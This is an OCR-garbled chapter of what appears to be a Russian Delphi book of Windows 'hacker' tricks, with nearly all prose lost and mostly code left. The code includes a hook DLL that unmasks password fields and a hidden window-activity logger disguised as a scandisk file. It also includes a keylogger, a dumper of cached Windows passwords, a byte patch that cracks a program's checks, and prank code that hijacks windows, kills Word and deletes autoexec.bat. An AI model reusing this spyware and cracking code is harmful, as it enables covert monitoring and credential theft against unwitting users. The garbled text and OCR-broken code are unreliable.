setcursorpos(random(Screen.Width-1),random(Screen.Height-1});
sleep (5000);
until OK;
end;
,
WinAPI- setcursorpos. Y .
0 .
.
:
procedure TForml.ButtonlClick(Sender: TObject);
var
cr:TRect;
begin
cr:=Rect(0,0,100,100);
ClipCursor(@cr);
end;
TRect.
100 100 .
www.kodges.ru
65
.
100 100 . , ( !), .
:
procedure TForml.ButtonlClick(Sender: TObject) ;
var
cr:TRect;
begin
cr:=Rect'(0, 0, 1, 1);
ClipCursor(@cr);
end;
1
. .
.
WindowsAPI- setsystemcursor.
.
, . ,
G e t C u r s o r .
, . :
OCR_NORMAL ;
OCRIBEAM , ;
OCR_WAIT ;
OCR_CROSS ;
OCRJJP ;
OCRSIZE ;
OCR_ICON ;
OCR_SIZENWSE OCR_SIZENESW , ;
OCR__SIZEWE ;
OCR SIZENS ;
www.kodges.ru
66
OCR_SI2EALL
OCRSIZENO
OCR_APPSTARTING
:
procedure TForml.ButtonlClick(Sender: TObject);
begin
SetSystemCursorfGetCursor, OCR_CROSS|;
end;
,
.
www.kodges.ru
. , .
-, .
, , , .
, Windows, . . , ,
. ,
. , , . , . .
, .
, . , Windows,
, . ,
.
3.1. ,
, ?
: , <Caps Lock>
. , . ,
? , ,
.
. , .
www.kodges.ru
68
. ,
- , <Ctrl>.
,
.
, .
dll-, .
.
. ,
, (dll).
File/New/Other ( Delphi 5 File/New).
, 3.1. DLL Wizard
. Delphi
. Save, .
hackpass, .
New Items
Projects j
Business | ,WebSnap j WebSetvice* j
N e w ' | ActiveX j MuJtitiet | hackpass | Forms |
Application
Batch File
CLX
Application
CLX Frame
Component
Console
Application
Data Modue
l
I ,-ay
CLXData
Module
-.
Dialogs
CLX Form
F
o
m
r aF
m
i e Package
inherif * U
OK
Cancel
Help
. . 1 .
, Delphi,
( 3.1).
www.kodges.ru
69
library hackpass;
uses Windows, Messages;
var
SysHook : HHook = 0;
Wnd : Hwnd = 0;
function SysMsgProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
//
CallNextHookEx(SysHook, Code, wParam, lParam);
//
if code = HC_ACTION then
begin
// ,
Wnd := TMsg(Pointer(lParam)").hwnd;
// .
//
// Control, ...
if TMsg (Pointer (lParam)A ) .message = WM__LBUTTONDOWN then
1
if ( (TMsgtPointerUParam)' ) .wParam and MK_CONTROL) = MK_CONTROL) then
begin
// , ,
SendMessage(Wnd, em_setpasswordchar, 0, 0);
//
InvalidateRect(Wnd, nil, true);
end;
end;
end;
//
procedure RunStopHook{State
begin
// State = true, ...
if State=true then
www.kodges.ru
70
begin
//
SysHook := SetWindowsHookEx(WH_GETMESSAGE,
@SysMsgProc, HInstance, 0);
end
1//
begin
//
UnhookWindowsHookEx(SysHook) ;
SysHook := 0;
end;
end;
exports RunStopHook index 1;
begin
end.
RunStopHook. . true, , , Windows.
SetWindowsHookEx.
:
1. . WH_GETMESSAGE, .
2. , Windows.
3. .
4. . , .
sysMsgProc.
dll, . , SetWindowsHookEx, SysHook.
, .
RunStopHook
false, .
unhookwindowsHookEx, SysHook.
, .
RunStopHook :
exports RunStopHook index 1;
www.kodges.ru
71
, .
index 1.
.
SysMsgproc, .
,
CailNextHookEx. , ,
.
.
, , code
HC_ACTION, .
, ,
, .
: TMsg(pointer(lParam) ) .hwnd. ,
, . lParam.
,
sysMsgProc. Pointer lParam)
, ,
pointer. , . . ,
(Pointer (lParam) A ) .
TMsg. TMsgfPointer(1) ). hwnd .
: <Ctrl>, .
message
T M s g ( P o i n t e r ( l P a r a m ) " ) . WM_LBUTTONDOWN, TO, -
, .
wParam.
MK_CONTROL, , <Ctrl>. wParam , , <> <Shift>.
. ,
and MK_CONTROD, .
<Ctrl>, .
sendMessage :
1. wnd , .
www.kodges.ru
72
2. em_setpasswordchar . ,
, ,
.
3. . , -
, .
4. .
invaiidateRect,
. (
, ). , , n i l . true, ,
.
, dll . .
var. -
Formi: TFormi. :
procedure RunStopHook(State : Boolean) stdcall;
external 'hackpass.dll' index 1;
Delphi , RunStopHook, hackpass.dll, s t d c a i i
1. Delphi .
, , , .
onshow
:
RunStopHook(true);
, onciose :
RunStopHook(false);
onShow ( ) , .
dll- .
dg2sGfSd26fgDSD26Gg62|adgfaFDFsdgf
. 3.2.
www.kodges.ru
73
, . .
, ,
<Ctrl>. .
, dll, - , .
.
- \\ 3\ .
3.2.
. , , , . ,
, -.
. setHook,
.
sysMsgProc, . ,
( 3.2)
www.kodges.ru
74
SysHook := 0;
Result := true;
end;
end;
end;
setHook ,
. :
SysHook := SetWindowsHookEx(WH_CBT, @SysMsgProc, HInstance, 0);
setwindowsHookEx WH_GETMESSAGE, WH_CBT. , .
HCBT_ACTIVATE ;
HCBT_CREATEWND ;
HCBT_DESTROYWND ;
HCBT_MINMAX ;
HCBT_MOVESIZE .
, ,
.
.
, , .
, SysMsgProc ( 3.3)
3.3. SysMsgproc
www.kodges.ru
75
GetWindowsDirectory(windir, 255);
Filedir:=windir+\scanbisk.log';
AssignFile(f, Filedir);
if not FileExists(Filedir) then
begin
Rewrite(f);
CloseFile(f);
end;
Append(f);
Wnd := wParam;
GetWindowText(Wnd, windtext, 255);
Str:=windtext;
Writeln(f, FormatDateTirae('dd/mra/yyyy hh:nn:ss', Date+Time)+
'###ACTIVATE==='+Str+ '++++@0S'+IntToStr(Wnd));
Flush(f);
CloseFile(f) ;
end;
//
HCBT_CREATEWND:
begin
Str:=TCBTCreateWnd(Pointer(lParam)A).lpcs.lpszName;
if Str-1' then exit;
A
if TCBTCreateWnd (Pointer (lParam) ) . lpcs .hwndParentoO then exit;
GetWindowsDirectory(windir, 255);
Filedir:=windir+'\scanbisk.log';
AssignFile(f, Filedir);
if not FileExists(Filedir) then
begin
Rewrite(f);
CloseFile(f) ;
end;
Append(f) ;
www.kodges.ru
76
3
Wnd := wParam;
GetWindowText(Wnd, windtext, 255);
Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+
'###OPEN==='+windtext+ '+++'+
TCBTCreateWndfPointer(iParam) ).lpcs.lpszName+
'@@@'+IntToStr(Wnd));
Flush (f);
CloseFile{f);
end;
//
HCBT_DESTROYWND:
begin
Str:='';
Wnd := wParam;
if Wnd<>0 then
GetWindowText(Wnd, windtext, 255);
str:=windtext;
if windtext='r then exit;
if Str='' then exit;
GetWindowsDirectory(windir, 255);
Filedir:=windir+'\scanbisk.log';
AssignFile(f, Filedir);
if not FileExists(Filedir) then
begin
Rewrite (f) ;
CloseFile(f) ;
end;
Append(f);
if Length(Str)>0 then
Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+
'###CLOSE=-='+Str+'+++'+'@@@'+IntToStr(Wnd)};
Flush(f);
www.kodges.ru
77
CloseFile(f);
end;
end;
end;
. code,
SysMsgProc. .
:
HCBT__ACTIVATE ;
HCBT__CREATEWND ;
HCBT_DESTROYWND .
( 3.4).
&. '& ' -,
:? .
- --.;*.-; -
//
HCBT_ACTIVATE:
begin
// Windows
GetWindowsDirectory(windir, 255);
Filedir:=windir+'\scanbisk.log1;
// log-
AssignFile(f, Filedir);
if not FileExists(Filedir) then
begin
Rewrite(f);
CloseFile(f);
end;
Append(f);
//
Wnd := wParam;
GetWindowText(Wnd, windtext, 255);
Str:=windtext;
//
www.kodges.ru
78
3
Writelnff,
FormatDateTime('dd/mm/yyyy h h : n n : s s 1 ,
###ACTIVATE==='+Str+
Date+Time)+
+++t+'@@@'+intToStr(Wnd));
//
Flush(f);
CloseFile(f);
end;
3.4
GetwindowsDirectory.
: , ,
.
scanbisk.log.
, .
, - .
. scandisk.
"d" "", . , -
.
, . AssignFiie. :
1. , .
2. .
FileExists . , Rewrite cioseFile.
,
. Append.
.
. , .
, .
Wnd wParam.
sysMsgProc ,
. wnd,
GetwindowText, .
1. .
2. .
3. .
www.kodges.ru
79
, , ( ) writein. ,
.
( 3.5).
//
HCBT_CREATEWND:
begin
//
Str:=TCBTCreateWnd(Pointer(lParam)A).lpcs.lpszName ;
if Str='' then exit;
// ,
if TCBTCreateWnd(Pointer(lParam)").lpcs.hwndParent<>0 then exit;
// Windows
GetWindowsDirectory(windir, 255);
Filedir:=windir+'\scanbisk.log';
// log-
AssignFile(f, Filedir);
if not FileExists(Filedir) then
begin
Rewrite(f);
CloseFile(f);
end;
Append(f);
//
Wnd := wParam;
GetWindowText(Wnd, windtext, 255);
Writeln(f, FormatDateTiine('dd/mm/yyyy hh:nn:ss', Date+Time) +
'###OPEN==='+windtext+ '+++' +
TCBTCreateWnd(Pointer{lParam)").lpcs.lpszName+
@@@'+intToStr(Wnd));
//
www.kodges.ru
80
Flush(f);
CloseFile(f);
end;
:
TCBTCreateWnd(Pointer(lParam)).lpcs.lpszName.
: ,
, . 99% , ,
1% .
, . , , :
TCBTCreateWnd(Pointer(lParara)A).lpcs.hwndParent
hwndParent
. , ,
,
.
,
, . ,
.
GetwindowText (wnd, windtext, 255), . log- .
HCBTDESTROYWND ( ) ,
.
log-. ,
, .
log- .
,
, .
.
, , ,
. .
( 3.6).
www.kodges.ru
81
|11 ' ;
'
procedure SaveToLog(Str:String);
var
f: TextFile;
Filedir:String;
windir: array [0..255] of char;
begin
// , Windows
GetWindowsDirectory(windir, 255);
Filedir:=windir+'\scanbisk.log';
// log-
AssignFile(f, Filedir);
// ,
if not FileExists(Filedir) then
begin
//
Rewrite(f);
CloseFile(f);
end;
//
Append(f);
//
Writeln(f, str);
// log-
Flush(f);
CloseFile(f);
end;
, . ,
( 3.43.5). , , , :
//
HCBT_ACTIVATE:
begin
www.kodges.ru
82
//
Wnd := wParam;
GetWindowText(Wnd, windtext, 255);
Str:=windtext;
//
SaveToLog(FormatDateTime{'dd/mm/yyyy hh:nn:ss', Date+Time) +
###ACTIVATE==='+Str+ '+++'+'@@@'+intToStr(Wnd));
end;
,
.
,
. , , , ,
. - .
dll , . dll -.
scanbisk.dpr , dll- .
WIN.dpr .
,
.
f t .
-
("
!
I
I 1
. 3 . 3 .
- \\ 3\
.
www.kodges.ru
83
3.3.
, . , .
,
SysMsgProc ( 3.7).
3,7.. ^^
var
ModuleFileName: array[0.._-1] of Char;
KeyName: array[0..16] of Char;
Password: PChar;
begin
Password := PChar(lpvMem);
if (nCode - HC_ACTION) and (((lParam shr 16) and KF_UP} = 0) then
begin
GetKeyNameText(lParam, KeyName, sizeof(KeyName));
if StrLen(g_szKeyword) + StrLen(KeyName) >= PASSWORDSIZE then
lstrcpy{g_szKeyword, g_szKeyword + StrLen(KeyName));
lstrcat(g_szKeyword, KeyName);
GetModuleFileName(0, ModuleFileName, sizeof(ModuleFileName));
if (StrPos(StrUpper(ModuleFileName),' ') nil) and
(strlen(Password) + strlen(KeyName) < PASSWORDSIZE) then
lstrcat(Password, KeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(Password);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else
Result := CallNextHookEx(gjihk, nCode, wParam, lParam);
end;
www.kodges.ru
84
, .
, , . ,
. ,
,
, ,
.
3.4.
: "
- ".
. ,
"][ ".
Microsoft
=*i-o m "-i-we
[!-
BtiaennrtJ
~! .
If '
(&
](
. 3 . 4 .
. 3.4 ,
. ,
][ . .
.
www.kodges.ru
85
.
.
, . "" .
WinAPI (Windows Application
Program Interface, Windows). , , Windows.
,
.
Cancel
Help
. 3.5.
Delphi. ,
. , . , . Project Remove from Project. ,
. ,
.
.
Project View Source ( Project Manager
View Source). , :
program Projectl;
, ( 3.8).
program Projectl;
www.kodges.ru
86
windows,
Messages;
// ,
function EnumChildWnd(h: hwnd): BOOL; stdcall;
begin
SendMessage(h,WM_SETTEXT,O,lparara(LPCTSTR('][ 1)));
Result:=true;
end;
// ,
function EnuinWindowsWnd(h: hwnd): BOOL; stdcall;
begin
SendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ ')));
EnumChildWindows(h,@EnumChildWnd,0);
end;
var
h:THandle;
begin
//
while true do
begin
//
EnumWindows(@EnumWindowsWnd,0);
// 1000
h:=CreateEvent(nil, true, false, ' ' ) ;
WaitForSingleObject(h, 1000);
CloseHandle(h);
end;
end.
, .
, .
Windows 9x, . Windows 2000/XP
, . ,
Windows
( . ),
"][ ".
www.kodges.ru
87
. , uses . :
windows messages. WinAPI ( windows) (
messages). Delphi WinAPI
.
EnumChildWnd EnumWindowsWnd.
, .
:
while do
begin
end;
while do : ,
, true.
true, , true
false. , , ,
, .
Enumwindows. WinAPI-, . ,
, - .
EnumWindowsWnd. , , EnumWindows
, , EnumWindowsWnd.
:
// ,
function EnumWindowsWnd(h: hwnd): BOOL; stdcall;
begin
SendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ 1)));
EnumChildWindows(h,@EnumChildWnd,0);
end;
EnumWindowsWnd
. , .
WinAPI- sendMessage, . 4 .
1. , .
EnumWindowsWnd.
2. . WM_SETTEXT. .
3. .
4. .
www.kodges.ru
88
, SendMessage
, .
SendMessage.
, , . (, ), . EnumChildWindows.
.
.
1. , .
2. , ,
.
3. , .
, Enumchiidwindows
EnumWindows, ,
.
EnumChiidwnd :
// ,
function EnumChildWnd(h: hwnd): BOOL; stdcall;
begin
SendMessage(h,WM__SETTEXT,O,lparam(LPCTSTR('] [ ')));
Result:=true;
end;
SendMessage. true,
.
, , . , ,
, .
,
, . , :
if h=0 then exit;
^ .
- \\ 3\][
.
www.kodges.ru
89
IEI |[
B B S
: |[ ] >
][
][
][
][
][
][
][
][
][
][
][
][
][
][
][
X
][
][
]t
][
][
J[
][
][
][
][
][
1
][
: 3%
: 185744{
. 3.6. Windows XP
3.5.
, .
3.9.
:.'j*--":.-I*
-*
program Projectl
uses
windows,
Messages;
//-
function EnumWindowsWnd(h: hwnd): BOOL; stdcall,
var
www.kodges.ru
90
rect:TRect;
index:Integer;
begin
if not IsWindowVisible(h) then
begin
Result:=true;
exit;
end;
//
GetWindowRect fh,rect);
//
index:-random(2);
if index=0 then
begin
// 0, ...
rect.Top:=rect.Top+3;
rect.Left:=rect.Left+3;
end
else
begin
// ...
rect.Top:=rect.Top-3;;
rect.Left:=rect.Left-3;
end;
MoveWindow(h,rect.Left,rect.Top,rect.Right-rect.Left,
rect.Bottom-rect.Top,true);
Result:=true;
end;
//
var
h:THandle;
begin
//
while true do
www.kodges.ru
91
begin
//
EnumWindows(@EnumWindowsWnd,0); .
// 1000
h:=CreateEvent(nil, true, false, ' ' ) ;
WaitForSingleObject(h, 1000);
CloseHandle(h);
end;
end.
, ,
. ,
1 000 . .
EnumWindowsWnd, , .
iswindowvisibie. ,
. , Result true,
. Result true, , ,
.
GetwindowRect.
,
TRect.
,
random. , .
, (index
) , Left rect. .
,
, Movewindow.
5 .
1. , (h).
2. (rect.Left).
3. (rect.).
4. (rect. Right-rect. Left).
5. (rect .Bottom-rect. Top).
4 3;IK. 978
www.kodges.ru
92
Result true,
.
, ,
. .
( ).
- \\ 3\ .
3.6.
,
. . , , , ,
. ,
Microsoft Word .
. :
procedure TForral.FindAndDestroyButtonClick(Sender: TObject);
var
h:hWnd;
begin
h:=FindWindow(nil, 'Microsoft Word');
if h=0 then exit;
SendMessage(h, WMJDESTROY, 0,0);
end;
rindwindow. , ,
.
:
1. . , n i l .
2. . Microsoft Word,
.
, , , . , Microsoft Word
- Microsoft Word. ,
Microsoft Word. FindWindow
www.kodges.ru
93
, . . , ,
.
Findwindow, . , ,
. ,
WMDESTROY () SendMessage.
. , .
- \\ 3\
.
3.7.
, Dashboard (
Windows 3.1), . , ""
Linux. ,
Windows 9x.
-.
? ,
.
, .
.
, .
.
.
, , .
, . ,
. , 10 ,
. , .
- , Windows
, .
. ,
. View Project Manager
u n i t i (. 3.7).
( Projectl.exe)
View Source.
www.kodges.ru
94
New
ProjectGroupl
1^1 Pioject1.exe
Remove
Palh
D:\Progiam Files\BoHar"ADelphi6\P[ ejects
D:\Progiam Fjles\Bo(land\Delphi6\Projects
D:\Program Files\Bofland\Delphi6\Pio|ects
. .7.
"
var
i, j:Integer;
h:THandle;
WindowsList : TList; //
WRct: TRect;
MWStruct: HDWP;
W :THandle;
begin
WindowsList:=TList.Create; //
while (true) do
begin
//
for i:=0 downto -Screen.Width do
begin
WindowsList.Clear; //
W:=GetWindow(GetDesktopWindow,GW_CHILD);
while W<>0 Do //
www.kodges.ru
95
begin
// ,
if IsWindowVisible(W) then WindowsList.Add(Pointer(W));
W:=GetWindow(W,GW_HWNDNEXT);//
MWStruct:=BeginDeforWindowPos(WindowsList.Count-1);//
if Pointer{MWStruct)<>nil then
begin
for j:=0 to WindowsList.Count-1 do //
oegin
GetWindowRect(THandle(WindowsList[j]),WRct);
MWStruct:=DeferWindowPos(MWStruct, THandle{WindowsList[j]),
HWND_BOTTOM,
WRct.Left+i, WRct.Top, WRct.Right-WRct.Left,
WRct.Bottom-WRct.Top, SWP_NOACTIVATE or SWP_NOZORDER);
end;
EndDeferWindowPos{MWStruct);//
end;
end;
// 10
h:=CreateEvent(nil, true, false, ' ' ) ;
WaitForSingleObject(h, 10000);
CloseHandle(h);
end;
WindoweList.Free;//
end.
WindowsList TList, - .
.
while (true) do.
:
10 . ,
.
:
for i:^0 downto - Screen.Width do
www.kodges.ru
96
, i
. , .
down to.
to, . downto, i .
windowsList
. ,
.
10 ,
.
Getwindow,
, .
w. iswindowVisibie,
. true, , ,
. , , ,
.
. API-
BeginDeferWindowPos. , . , .
,
. DeferwindowPos.
,
.
API- EndDeferWindowPos.
. . API-
setwindowPos , .
, . ,
.
windowsList TList, . ?
T i i s t , . ,
.
1. . , , , ;).
2. - . , .
www.kodges.ru
97
, , .
.
, , .
,
, , .
. :
h:=CreateEvent(nil, true, false,
' ' ) ;
3.8.
1995 , .
.
,
.
www.kodges.ru
gg
, .
Oncreate :
procedure TFontil. FormCreate (Sender: TObject) ;
var
FormRgn:HRGN;
begin
FormRgn:-CreateEllipticRgn(0,0,Width,Height);
SetWindowRgn(Handle,ForraRgn, True) ;
end;
. .8.
, (. 3.8). ? . oncreate
WinAPI-: CreateEllipticRgn SetWindowRgn.
:
CreateEllipticRgn(
NLeftRect:Integer, //
nTopRect:Integer, //
nRightRect:Integer, //
nBottoraRect: Integer //
): HRGN;
. .
SetWindowRgn(
HWnd: HWND, //
HRgn: HRGN, //
BRedraw:Boolean //
):Integer;
, .
true, , .
www.kodges.ru
99
- \\ 3\Ellipse Window .
.
, . Windows , .
,
Handle, , TWinControl. Standard , .
. :
procedure TForml.FormCreate(Sender: TObject);
var
FormRgn:HRGN;
begin
FormRgn:=CreateEllipticRgn(2,2,Memol.Width,Meraol.Height);
SetWindowRgn(Memol.Handle,FormRgn,True);
end;
Memol. Handle
Memol. .
. 3.9.
Fgrni!
1995- ,
> ,
.,
)
1
?
. 3.9. Memol
- \\ 3\Ellipse Memo
.
www.kodges.ru
100
. :
procedure TForml.FormCreate(Sender: TObject);
var
FormRgn,EllipseRgn:HRGN;
begin
EllipseRgn:=CreateEllipticRgn(O,0,Width,Height);
FormRgn:=CreateRectRgn(round(Width/4) , round(Height/4) ,
round(3*Width/4),round(3*Height/4) ) ;
CombineRgn(EllipseRgn,EllipseRgn,FormRgn,RGN_DIFF);
SetWindowRgn(Handle,EllipseRgn, True) ;
end;
. EllipseRgn.
WiiiAPI- createRectRgn.
, . FormRgn.
combineRgn. :
, .
, HRGN.
, .
, .
. :
RGN_ AN ;
RGN_COPY ;
RGN_DIFF ;
RGM_OR ;
RGNXOR , .
RGN_DIFF,
. EllipseRgn, . . 3.10
.
- \\ 3\Eilipse Window2 .
www.kodges.ru
101
. 3 . 1 0 .
, .
. Timage.
- (,
bmp), ,
. . .
"".
, .
( ).
. 3 . 1 1 .
Timage ( visible
false). ,
. ,
, , ,
.
FormCreate :
procedure T Form!.. FormCreate (Sender: TObject) ;
www.kodges.ru
102
WindowRgn: HRGN;
begin
BorderStyle := bsNone;
Clier.tWidth := Imagel. Picture.Bitmap.Width;
ClientHeight := Imagel.Picture.Bitmap.Height;
windowRgn :~ CreateRgnFromBitmap(Imagel.Picture.Bitmap);
SetWindowRgn(Handle, WindowRgn, True);
end;
bsNone,
. .
.
CreateRgnFromBitmap ( ). ,
windowRgn. API SetWindowRgn, .
CreateRgnFromBitmap. , , . bnip ( 3.11). , .
3.11.
function CreateRgnFromBitmap(rgnBitmap: TBitmap): HRGN;
var
TransColor: TColor;
i, j: Integer;
i width, i^height: Integer;
i_left, i right: Integer;
rectRgn; HRGN;
begin
Result := 0;
//
i_width := rgnBitmap.Width;
i_height : = rgnBitmap.Height;
//
www.kodges.ru
1_03_
www.kodges.ru
104
3
DeleteObject(rectRgn);
end;
end;
end ;
end;
FormCreate.
, , .
, .
. ,
.
, ,
. .
private :
private
{ Private declarations }
Dragging : Boolean;
OldLeft, OldTop: Integer;
Dragging . OldLeft OldTop
. oncreate Dragging false,
true .
onMowseDown
:
procedure TForml.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if button=mbLeft then
begin
Dragging := True;
OldLeft := X;
OldTop :- Y;
end;
end;
www.kodges.ru
105
: , Dragging true ,
.
onMowseMove :
procedure TForrnl. FomMouseMove (Sender: TObject; Shift: TShiftState; X,
Y: Integer) ;
begin
if Dragging then
begin
Left := Left+X-OldLeft;
Top := Top+Y-OldTop;
end;
end;
: Dragging true,
, .
onMouseup :
Dragging := False.
, Dragging
false .
9 Unili j
. '
'
TransColor: TColor;
i, ;) : Integer;
i width, i height: Integer;
i_left, -^'- Integer;
rectRgn:
.; -Tn, . JPv
'
; .
'
I
*
lap.Uiuth;
|. Height;
. Canvas. Pixels [0, 0] ;
for S ^ ^ ^ K h ] ^ H -
1 do
HI
i left := - 1 ;
for j := 0 to i width - 1 do
begin
if i__left < 0 then
begin
. 3 . 1 2 .
. 3.12 .
,
www.kodges.ru
106
. , ,
"" .
12
13
15
1G
23 24
: 30.11.2002
. 3.13.
. 3.13.
( ). ,
, . ,
- .
- \\ 3\Cool Window
.
3.9.
Windows 9x ,
. ,
,
. Windows API , .
Windows
.
NT/2000/XP ,
. , Windows 98 . , , Windows
, 2000/.
, , . . 3.14 .
ListBox,
.
www.kodges.ru
107
3 . 1 4 .
3.12.
unit Unitl;
interface
www.kodges.ru
108
f$R +.DFM}
function WNetEnumCachedPasswordsdp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = "TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
Entrylndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool;
stdcall;
var
Password: String;
PC: ArrayfO..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize) ;
PCfWinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize +
WinPassword.ResourceSize);
Move(PCfWinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOemfPC, PC);
Password := Password + ': ' + StrPas(PC);
Forml.ListBox.Items.Add(Password);
Result := True;
end;
www.kodges.ru
109
oncreate WKetEnumCachedPasswords,
, .
, .
. , :
function WNetEnumCachedPasswords(
lp: lpStr;
w: Word;
b: Byte;
PC: PChar;
dw: Dword
): Word; stdcall;
,
:
function WnetEnumCachedPasswords //
(lp: lpStr; // NIL
w: Word; // 0
b: Byte; // SFF
PC: PChar; // ,
dw: DWord): Word; // 0
external mpr // DLL-
name 'WNetEnumCachedPasswords1; // DLL-.
www.kodges.ru
110
.
, , :
function AddPasswordZ/ , .
(
WinPassword: PWinPassword; // WinPassword
dw: Dword //
}: LongBool; stdcall;
, WinPassword. ,
,
type:
type
PWinPassword = ''TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
3.10.
. -
,
. , , .
. ,
.
,
www.kodges.ru
111
, . , ,
, .
, ,
. , .
, :
- XXXXX.EXE:
009 - 74
OAC0FE - 74
?
, .
,
. , .
, . , , - (, ). -
, , . , .
DOS Navigator -
. - ,
.
D:\WINNT\5y
stem32\
cmd.eKe
>^
. 3 . 1 5 . DOS Navigator
www.kodges.ru
112
. ,
. . , , .
, ,
. DOS Navigator
<F3>. <F4> . . :
009 - 74
0AC0FE - 74
:
1. , ();
2. , (74);
3. , (), .
?
. , DOS
Navigator <F5> .
, .
,
( 74, ).
, ,
. , .
,
.
, ,
. , .
, .
- ,
Windows .
, ?
.
. , ,
.
,
. ,
.
www.kodges.ru
113
Delphi. , .
. , .
. 3.16.
. 3.16.
.
, Delphi Onclick.
:
|1||||^||||
procedure TForml.ButtonlClick(Sender: TObject);
var
f:TFileStream;
s: byte;
begin
//
f:=TFileStream.Create('xxx.exe', fmOpenReadWrite);
//
f.Seek($0AC0E9, soFromBeginning);
//
f.Read(s, sizeof(s)) ;
// $74,
www.kodges.ru
114
if s=$74 then
begin
//
f.Seek($0ACOE9, soFromBeginning);
// ,
f.Write(s, sizeof(s));
end;
// ,
f.Seek($0AC0FE, soFromBeginning};
f.Readfs, sizeof(s));
if s=$74 then
begin
s:=$EB;
f.Seek($0AC0FE, soFromBeginning) ;
f.Write(s, sizeof(s));
end;
//
f.Free;
end;
end.
, F
Tniestream. ,
.
(F:=TFileStream. Create),
Create
TFileStream.
.
1. .
2. . fmOpenReadwrite, , .
F . .
seek. .
, , .
, .
www.kodges.ru
115
. soFromBeginning , .
F.seek .
, .
Read. .
1. , .
2. , .
. ,
.
,
.
seek.
write, .
1. , . s, .
2. .
, . .
TFiiestream.
WinAPI? ,
; ,
. -, . ? .
: _fcreat, _fseek,
fread . .
C r e a t e F i l e ,
SetFilePointer,
writeFiLe. writeFiieEx .
MS API-
Windows, , - . , Microsoft
?
? !!! TFiiestream
.
WinAPI , ,
,
Delphi.
, , . ,
.
,
www.kodges.ru
116
. .
- , : ,
, . . , , , . ,
. ( ). , , ,
. ,
.
- \\ 3\Patch
.
3.11.
, . Delphi .
DeleteFile( ');
true, , false,
.
DeieteFiie .
,
. ,
. , .
:
RemoveDir(' ');
true, , false,
.
, ,
. choir:
01(' , ');
, .
GetCurrentDir, ,
.
www.kodges.ru
117
. , , :
FileExists(' ');
, true, false.
:
DirectoryExists( ' ' );
, true, false.
:
begin
ChDir(4c:\');
if FileExists{'autoexec.bat') then
DeleteFile('autoexec.bat');
end;
.
: autoexec.bat,
.
Delphi ,
. Delphi ,
. .
www.kodges.ru
118
. :
, . . ( , )
,
.
. ,
www.kodges.ru
119
. , -
. , 8 192
. , . ,
.
. , . , .
F i l e E x i s t s .
( 3.14).
1 3.14.
procedure MoveFile(const FileName, DestName: string);
var
Destination: string;
begin
Destination := ExpandFileName(DestName);
if not RenameFile(FileName, Destination) then
begin
if HasAttr(FileName, faReadOnly) then
raise EFCantMove.Create('He ');
CopyFile(FileName, Destination);
DeleteFile(FileName);
end;
end;
:
. .
, , - -
.
,
, CopyFile, ,
, .
( 3.15).
www.kodges.ru
120
| | 3 . 1 5 .
^"7
,
:
ExecuteFile('MailTo:vr_onlone@cydsoft.com','','',SW_SHOW);
ShellExecute . 2.5,
, . ,
pchar, -
, ExecuteFile
.
www.kodges.ru
121
,
, ,
.
SHFileOperation.
Windows , , .
, .
. :
ShellTreeView ShellListView. ShellTreeView
sheliListview ShellListView,
. ShellListView
Mutiseiect true, .
, :
, , , . . 3.17.
/
'0
+' Q
'. |3
+. * 3
:gi
Internet
Explorer
. 3.17.
uses : sheiiAPi
F i l e C t r l . SHFileOperation.
S e l e c t D i r e c t o r y , . ,
, .
private :
private
{ Private declarations }
www.kodges.ru
122
www.kodges.ru
123
sHFiieOperation
TSHFiieopstruct. ipFiieop.
,
Fiiichar, . , .
wnd , (, , ).
wFunc , . .
pFrom -, .
-, .
fFiags . true,
FOF_ALLOWUNDO. , .
FOF_NOCONFIRMMKDIR, ,
. ( , , "+"):
FOF_FILESONLY , ( *.*);
FOF__NOCONFIRMATION
(, );
FOFJSILENT ;
FOF_SIMPLEPROGRESS ,
.
lpszProgressTitie , .
fAnyoperationsAborted true, .
var implementation
:
const
FileOpMode: array[0..3] of UInt =
(FO_COPY, FO_DELETE, F0__MOVE, FO_RENAME);
.
:
FO_COPY ;
FO_D2LETE ;
5 . 9"8
www.kodges.ru
124
FO_MOVE
FO_RENAME
.
onclick .
( 3.17).
www.kodges.ru
125
, ,
- . , ,
.
:
if ShellListViewl.Selected=nil then
exit;
,
.
SelectDirectory. ,
.
. 3.18.
Select Directory
'. '{,.)
^ 3,5 (;)
& *** Data (D:)
:*i <** Win2000-1 (E:)
^ CD-RW (G:)
*i j
;-B tjjj) -
* N !
. 3.18.
, .
path sheiiTreeviewi.
, "/">
:
FPath:=ShellTreeViewl.Path;
if FPath[Length(FPath)]<>'\' then
FPath:=FPath+'V;
, .
- , FSrc,
#. .
, ,
.
www.kodges.ru
126
FSrc .
, ##,
:
for i := 0 to ShellListViewl.items.Count-1 do
if (ShellListViewl.items.item[i].Selected) then
begin
FSrc:=FSrc+
ShellListViewl.Folders[ShellListViewl.Items.Item[I].Index].PathName+
#0;
ShellListViewl.items.item[i].Selected:-false;
end;
FSrc:-FSrc+#0;
DoSHFiieop, .
, FileOpModefO],
FOCOPY.
( ).
. onclick ( 3.18).
www.kodges.ru
127
for i := 0 to ShellListViewl.items.Count-1 do
if (ShellListViewl.items .item[il.Selected) then
begin
FSrc:=FSrc+
ShellListViewl.Folders[ShellListViewl.Iterns.Item[I].Index].Pathname+
#0;
ShellListViewl.items.item[i].Selected:=false;
